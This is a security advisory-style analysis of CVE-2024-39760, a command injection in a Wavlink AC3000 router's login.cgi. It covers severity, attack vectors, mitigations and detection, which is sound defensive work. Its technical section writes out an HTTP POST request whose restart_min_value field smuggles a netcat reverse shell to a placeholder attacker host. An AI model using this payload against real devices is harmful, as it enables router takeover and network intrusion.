CVE-2024-39760

Comprehensive Technical Analysis of CVE-2024-39760

1. Vulnerability Assessment and Severity Evaluation

CVE ID: CVE-2024-39760 CVSS Score: 10

The vulnerability in question is an OS command injection flaw in the login.cgi set_sys_init() functionality of the Wavlink AC3000 M33A8.V5030.210505 router. This vulnerability allows an attacker to execute arbitrary commands on the device by sending a specially crafted HTTP request. The severity of this vulnerability is critical, as indicated by its CVSS score of 10. This score reflects the potential for complete system compromise, including unauthorized access, data breaches, and further network infiltration.

2. Potential Attack Vectors and Exploitation Methods

Attack Vectors:

• Unauthenticated HTTP Requests: An attacker can exploit this vulnerability without needing authentication, making it particularly dangerous.
• Command Injection: The restart_min_value POST parameter is vulnerable to command injection, allowing an attacker to inject malicious commands.

Exploitation Methods:

• Crafted HTTP Requests: An attacker can send a specially crafted HTTP request to the login.cgi endpoint, injecting commands through the restart_min_value parameter.
• Automated Scripts: Attackers may use automated scripts to scan for vulnerable devices and exploit them en masse.

3. Affected Systems and Software Versions

Affected Systems:

• Wavlink AC3000 M33A8.V5030.210505 routers

Software Versions:

• Firmware version M33A8.V5030.210505

4. Recommended Mitigation Strategies

Immediate Actions:

• Firmware Update: Apply the latest firmware update provided by Wavlink to patch the vulnerability.
• Network Segmentation: Isolate the affected devices from critical network segments to limit potential damage.
• Firewall Rules: Implement strict firewall rules to block unauthorized access to the login.cgi endpoint.

Long-Term Strategies:

• Regular Patch Management: Establish a regular patch management process to ensure all devices are up-to-date.
• Intrusion Detection Systems (IDS): Deploy IDS to monitor for suspicious activities and potential exploitation attempts.
• Security Awareness Training: Educate users and administrators about the risks and best practices for securing network devices.

5. Impact on Cybersecurity Landscape

The discovery of CVE-2024-39760 highlights the ongoing challenge of securing IoT and network devices. The ability to execute arbitrary commands on a router can lead to severe consequences, including:

• Network Compromise: Attackers can use the compromised router to pivot and attack other devices within the network.
• Data Breaches: Sensitive information passing through the router can be intercepted or manipulated.
• Denial of Service (DoS): Attackers can disrupt network services, causing significant downtime and operational disruptions.

6. Technical Details for Security Professionals

Vulnerability Details:

• Endpoint: login.cgi
• Function: set_sys_init()
• Vulnerable Parameter: restart_min_value

Exploitation Example: An attacker might send an HTTP POST request to the login.cgi endpoint with a crafted restart_min_value parameter containing malicious commands. For example:

POST /login.cgi HTTP/1.1
Host: vulnerable-router
Content-Type: application/x-www-form-urlencoded

restart_min_value=; /bin/bash -c 'nc -e /bin/bash attacker.com 4444'

Detection and Monitoring:

• Log Analysis: Monitor router logs for unusual activities, especially around the login.cgi endpoint.
• Network Traffic Analysis: Use network monitoring tools to detect anomalous traffic patterns that may indicate exploitation attempts.

Conclusion: CVE-2024-39760 represents a significant risk to organizations using the affected Wavlink routers. Immediate mitigation through firmware updates and network segmentation is crucial. Long-term strategies, including regular patch management and enhanced security awareness, are essential to mitigate similar vulnerabilities in the future.

References:

• Talos Intelligence Report

This comprehensive analysis should help cybersecurity professionals understand the implications of CVE-2024-39760 and take appropriate actions to protect their networks.